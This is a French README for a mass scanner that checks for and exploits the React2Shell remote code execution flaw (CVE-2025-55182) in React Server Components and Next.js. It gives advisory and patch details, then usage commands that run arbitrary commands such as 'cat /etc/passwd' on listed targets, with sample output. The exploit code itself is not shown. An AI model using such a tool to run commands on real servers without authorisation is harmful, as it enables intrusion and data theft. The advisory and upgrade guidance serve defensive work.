CVE-2025-55182 RCE Scanner

Outil de détection et de vérification en masse pour la vulnérabilité d'exécution de code à distance CVE-2025-55182 (React2Shell).

⚠️ Vulnérabilité critique CVSS 10.0 | Affecte React Server Components et Next.js versions 15.x/16.x | Utilisation réservée aux tests de sécurité autorisés

Introduction à la vulnérabilité

CVE-2025-55182 (également connu sous le nom de "React2Shell") est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée avec un score CVSS 10.0 critique maximal.

Cette vulnérabilité provient d'un problème de désérialisation non sécurisée dans le package react-server de React Server Components (RSC) lors du traitement du protocole RSC "Flight". Un attaquant peut exécuter du code arbitraire sur le serveur vulnérable en envoyant une requête HTTP spécialement conçue.

Comme Next.js utilise le protocole RSC "Flight", même les applications configurées par défaut avec create-next-app peuvent être exploitées sans que le développeur ait besoin d'écrire du code supplémentaire. Depuis le 5 décembre 2025, une exploitation active de cette vulnérabilité a été détectée.

Versions affectées

Versions affectées de React Server Components :

Versions affectées de Next.js (avec App Router) :

Autres frameworks/outils RSC potentiellement affectés :

• react-router
• waku
• @parcel/rsc
• @vitejs/plugin-rsc
• rwsdk
• RedwoodJS (mode RSC)

Mesures d'atténuation temporaires

⚠️ Note importante : il n'existe aucune mesure d'atténuation temporaire connue pour cette vulnérabilité ; la mise à niveau vers une version sécurisée est la seule solution de correction.

Versions de mise à niveau recommandées :

• React : passer à 19.0.1, 19.1.2 ou 19.2.1
• Next.js : passer à 16.0.7, 15.5.7, 15.4.8 ou 15.3.6

Le package npm fix-react2shell-next fourni officiellement peut être utilisé pour aider à mettre à jour les applications Next.js affectées.

Installation des dépendances

pip install requests

Utilisation

Utilisation de base

# Scan par lots (lecture des cibles depuis urls.txt)
python CVE-2025-55182.py -f urls.txt

# Test d'une seule cible
python CVE-2025-55182.py -u http://192.168.1.100:3000

Commandes personnalisées

# Exécute la commande whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"

# Exécute la commande hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"

# Lit un fichier
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"

Options avancées

# Spécifie le nombre de threads et le délai d'attente
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15

# Fichier de sortie personnalisé
python CVE-2025-55182.py -f urls.txt -o scan_results.csv

# Mode silencieux (affiche uniquement les URL vulnérables)
python CVE-2025-55182.py -f urls.txt -q

Description des paramètres

Format du fichier URL

Une URL par ligne, par exemple :

http://192.168.1.10:3000
http://192.168.1.11:3000

Exemple de sortie

    +---------------------------------------------------------------+
    |   ###   ## #######  ##  ## ########       ## #######          |
    |   ####  ## ##       ## ##     ##          ## ##               |
    |   ## ## ## #####     ###      ##          ## #######          |
    |   ##  #### ##       ## ##     ##      ##  ##       ##         |
    |   ##   ### ####### ##   ##    ##       ####  #######          |
    |                                                               |
    |   CVE-2025-55182 RCE Scanner                                  |
    +---------------------------------------------------------------+

============================================================
  [ CONFIGURATION ]
============================================================
  > Targets: 10
  > Threads: 20
  > Command: id

============================================================
  [ SCANNING ]
============================================================
  [14:30:25] [VULN] http://192.168.1.10:3000
             '--> uid=1000(www-data)
  [14:30:26] [SAFE] http://192.168.1.11:3000

+==========================================================+
|                     SCAN COMPLETE                        |
+==========================================================+
|  Total Targets :    10                                   |
|  Vulnerable    :     1                                   |
|  Safe          :     9                                   |
|  Errors        :     0                                   |
+==========================================================+

Fichier de sortie

Les résultats du scan sont enregistrés au format CSV, avec les champs suivants :

• url - URL cible
• status - Code d'état HTTP
• vulnerable - Est vulnérable
• output - Sortie de l'exécution de la commande
• error - Message d'erreur

Avertissement

Cet outil est uniquement destiné à des tests de sécurité autorisés. Ne pas l'utiliser à des fins illégales. L'utilisateur assume l'entière responsabilité.